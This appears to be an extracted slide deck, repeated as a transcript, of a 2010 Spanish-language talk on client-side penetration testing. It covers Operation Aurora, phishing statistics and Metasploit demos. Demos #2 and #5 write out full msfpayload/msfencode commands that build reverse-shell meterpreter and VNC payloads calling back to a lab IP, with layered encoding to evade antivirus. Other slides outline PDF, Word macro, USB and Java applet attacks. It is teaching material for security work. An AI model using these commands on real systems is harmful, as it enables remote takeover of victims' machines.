What Work’s On
Client Side Pentesting
           CAMPUS PARTY COLOMBIA 2010




   I’m a Pentester         I’m a User
Leonardo Pigñer




             www.base4sec.com


                  @base4sec
iLife
kungfoosion.com

@kfs
lpigner@base4sec.com


www.linkedin.com/in/lpigner
ekoparty.org
16-17 Septiembre 2010
Agenda
•   ¿ Por Qué Client Side ?

•   La Operación Aurora

•   Distribución y Ataques

•   Conclusión
¿ Por Qué Client Side ?
DIFERENTES TIPOS DE PENETRATION TESTING

                   No! Yo tengo       Jodanse!
  Wardialing      un 0-day para       Yo entro
  es lo mejor!        IIS 6.0!       caminando




 Phone Attacker   Network Attacker   Social Engineer
INTERNET

                                       ATACANTE




           Firewall
                          DMZ


          LAN

                          SMTP   WWW



DOMINIO         BASE DE
                 DATOS
INTERNET

                                         ATACANTE




                                 Web App FW
              IPS
           Firewall              Reverse Proxy
                          DMZ          IDS


          LAN

                          SMTP   WWW



DOMINIO         BASE DE
                 DATOS
INTERNET



 Firewall   DMZ



LAN
Agenda
•   ¿ Por Qué Client Side ?

•   La Operación Aurora

•   Distribución y Ataques

•   Conclusión
La Operación
   Aurora
12 de Enero
            de 2010




                “ataques altamente sofisticados y
               dirigidos ... originados desde China”


[2] Google Blog: A new approach to China
+ 30
[1] Wikipedia: Operation Aurora
“Operación Aurora”
Google se va de China (?)
Google.cn
Google.com.ar
“illegal
          flower
         tribute”
[4] Wikipedia: Illegal flower tribute
PDF, DOC, XLS, CAD, E-mail
                                                                      Texas
      y el resto...




                                                                              Taiwan
                                                         AR
                                                      ,R
                                                  C AB




[3] Mandiant M-Trends “the advanced persistent threat”
0-day para IE 6-7-8

          -   12 de Enero: Anuncio de Google
          -   14 de Enero: Exploit en Wepawet
          -   14 de Enero: Advisory de Microsoft
          -   15 de Enero: PoC de MetaSploit
          -   21 de Enero: Microsoft update (fuera de ciclo)

[6] Wepawet exploit
[7] German government warns against using MS Explorer
www




DEMO #1 “Aurora”
Mas información en:
KUNGFOOSION: Estalló la CyberGuerra!
OSVDB 61697
This module exploits a memory corruption flaw in Internet
Explorer. This flaw was found in the wild and was a key
component of the "Operation Aurora" attacks that lead to
the compromise of a number of high profile companies. The
exploit code is a direct port of the public sample published
to the Wepawet malware analysis site. The technique used
by this module is currently identical to the public sample, as
such, only Internet Explorer 6 can be reliably exploited.

Afecta a:
- Internet Explorer 6
- Internet Explorer 7
- Internet Explorer 8
Agenda
•   ¿ Por Qué Client Side ?

•   La Operación Aurora

•   Distribución y Ataques

•   Conclusión
Distribución y Ataques
payload
   +
encoding
DEMO #2 “Payload + Encoding”

./msfpayload windows/meterpreter/reverse_tcp
LHOST=192.168.162.138 LPORT=443 X > payload_1.exe

./msfpayload windows/meterpreter/reverse_tcp
LHOST=192.168.162.138 LPORT=443 R | msfencode -e x86/
shikata_ga_nai -c 10 -t raw | msfencode -e x86/alpha_upper -c 3 -t
raw | msfencode -e x86/countdown -c 3 -t raw | msfencode -e x86/
call4_dword_xor -c 3 -t exe -o payload_2.exe

./msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/
reverse_tcp LHOST=192.168.162.138 LPORT=443 E
Tienes un E-Mail
CASO de ESTUDIO (?)
25000 mails


1883 interesados
Browsers
Sistema
Operativo
Soporte de Java
Versiones
de Flash
Abre mi
          adjunto!




Tienes un E-Mail
Archivos Mas Utilizados

      3%

                     38%
47%


                7%
           4%




DOC    XLS                 PPT
PDF    otros
2008
                                              1968
                                               2009
                                              2195
                                               2010
                                               895




[8] PDF Based Target Attacks are Increasing
DEMO #3 “PDF Exploit”
Mas información en:
KUNGFOOSION: Explotando el 0-day de Adobe
Reader
OSVDB 61697
This module exploits a buffer overflow in Adobe Reader
and Adobe Acrobat Professional < 8.1.3. By creating a
specially crafted pdf that a contains malformed util.printf()
entry, an attacker may be able to execute arbitrary code.

Afecta a:
- Adobe Reader 8.1.2
+EXE




DEMO #4 “PDF + EXE”
Mas información en:
KUNGFOOSION: Embebiendo un Ejecutable dentro
de un PDF con MetaSploit
+ EXE
2008
                                              1968
                                               2009
                                              2195
                                               2010
                                               895




[8] PDF Based Target Attacks are Increasing
DEMO #5 “Word”
DEMO #5 “Word”
./msfpayload windows/vncinject/reverse_tcp
LHOST=192.168.162.138 LPORT=443 V >
macro_word.bas


./msfcli exploit/multi/handler PAYLOAD=windows/
vncinject/reverse_tcp LHOST=192.168.162.138
LPORT=443 E
La Recepcionista
DEMO #6 “USB U3”
Mas información en:
KUNGFOOSION: Ataque USB U3 con MetaSploit
SET
                      social engineering toolkit



“The Java Applet Attack”
Mas información en:
KUNGFOOSION: Ingeniería Social con Applets
firmados de Java en MetaSploit
Gracias!
kungfoosion.com

@kfs
lpigner@base4sec.com


www.linkedin.com/in/lpigner

What works on client side pentesting

  • 1.
    What Work’s On ClientSide Pentesting CAMPUS PARTY COLOMBIA 2010 I’m a Pentester I’m a User
  • 2.
    Leonardo Pigñer www.base4sec.com @base4sec
  • 3.
  • 5.
  • 6.
    Agenda • ¿ Por Qué Client Side ? • La Operación Aurora • Distribución y Ataques • Conclusión
  • 7.
    ¿ Por QuéClient Side ?
  • 8.
    DIFERENTES TIPOS DEPENETRATION TESTING No! Yo tengo Jodanse! Wardialing un 0-day para Yo entro es lo mejor! IIS 6.0! caminando Phone Attacker Network Attacker Social Engineer
  • 9.
    INTERNET ATACANTE Firewall DMZ LAN SMTP WWW DOMINIO BASE DE DATOS
  • 10.
    INTERNET ATACANTE Web App FW IPS Firewall Reverse Proxy DMZ IDS LAN SMTP WWW DOMINIO BASE DE DATOS
  • 11.
  • 15.
    Agenda • ¿ Por Qué Client Side ? • La Operación Aurora • Distribución y Ataques • Conclusión
  • 16.
  • 17.
    12 de Enero de 2010 “ataques altamente sofisticados y dirigidos ... originados desde China” [2] Google Blog: A new approach to China
  • 18.
    + 30 [1] Wikipedia:Operation Aurora
  • 19.
  • 20.
    Google se vade China (?)
  • 21.
  • 22.
  • 23.
    “illegal flower tribute” [4] Wikipedia: Illegal flower tribute
  • 24.
    PDF, DOC, XLS,CAD, E-mail Texas y el resto... Taiwan AR ,R C AB [3] Mandiant M-Trends “the advanced persistent threat”
  • 26.
    0-day para IE6-7-8 - 12 de Enero: Anuncio de Google - 14 de Enero: Exploit en Wepawet - 14 de Enero: Advisory de Microsoft - 15 de Enero: PoC de MetaSploit - 21 de Enero: Microsoft update (fuera de ciclo) [6] Wepawet exploit [7] German government warns against using MS Explorer
  • 27.
    www DEMO #1 “Aurora” Masinformación en: KUNGFOOSION: Estalló la CyberGuerra!
  • 28.
    OSVDB 61697 This moduleexploits a memory corruption flaw in Internet Explorer. This flaw was found in the wild and was a key component of the "Operation Aurora" attacks that lead to the compromise of a number of high profile companies. The exploit code is a direct port of the public sample published to the Wepawet malware analysis site. The technique used by this module is currently identical to the public sample, as such, only Internet Explorer 6 can be reliably exploited. Afecta a: - Internet Explorer 6 - Internet Explorer 7 - Internet Explorer 8
  • 29.
    Agenda • ¿ Por Qué Client Side ? • La Operación Aurora • Distribución y Ataques • Conclusión
  • 30.
  • 36.
    payload + encoding
  • 37.
    DEMO #2 “Payload+ Encoding” ./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.162.138 LPORT=443 X > payload_1.exe ./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.162.138 LPORT=443 R | msfencode -e x86/ shikata_ga_nai -c 10 -t raw | msfencode -e x86/alpha_upper -c 3 -t raw | msfencode -e x86/countdown -c 3 -t raw | msfencode -e x86/ call4_dword_xor -c 3 -t exe -o payload_2.exe ./msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/ reverse_tcp LHOST=192.168.162.138 LPORT=443 E
  • 38.
  • 41.
  • 43.
  • 44.
  • 45.
  • 46.
  • 47.
  • 48.
    Abre mi adjunto! Tienes un E-Mail
  • 51.
    Archivos Mas Utilizados 3% 38% 47% 7% 4% DOC XLS PPT PDF otros
  • 52.
    2008 1968 2009 2195 2010 895 [8] PDF Based Target Attacks are Increasing
  • 53.
    DEMO #3 “PDFExploit” Mas información en: KUNGFOOSION: Explotando el 0-day de Adobe Reader
  • 54.
    OSVDB 61697 This moduleexploits a buffer overflow in Adobe Reader and Adobe Acrobat Professional < 8.1.3. By creating a specially crafted pdf that a contains malformed util.printf() entry, an attacker may be able to execute arbitrary code. Afecta a: - Adobe Reader 8.1.2
  • 55.
    +EXE DEMO #4 “PDF+ EXE” Mas información en: KUNGFOOSION: Embebiendo un Ejecutable dentro de un PDF con MetaSploit
  • 56.
  • 57.
    2008 1968 2009 2195 2010 895 [8] PDF Based Target Attacks are Increasing
  • 58.
  • 59.
    DEMO #5 “Word” ./msfpayloadwindows/vncinject/reverse_tcp LHOST=192.168.162.138 LPORT=443 V > macro_word.bas ./msfcli exploit/multi/handler PAYLOAD=windows/ vncinject/reverse_tcp LHOST=192.168.162.138 LPORT=443 E
  • 61.
  • 62.
    DEMO #6 “USBU3” Mas información en: KUNGFOOSION: Ataque USB U3 con MetaSploit
  • 63.
    SET social engineering toolkit “The Java Applet Attack” Mas información en: KUNGFOOSION: Ingeniería Social con Applets firmados de Java en MetaSploit
  • 64.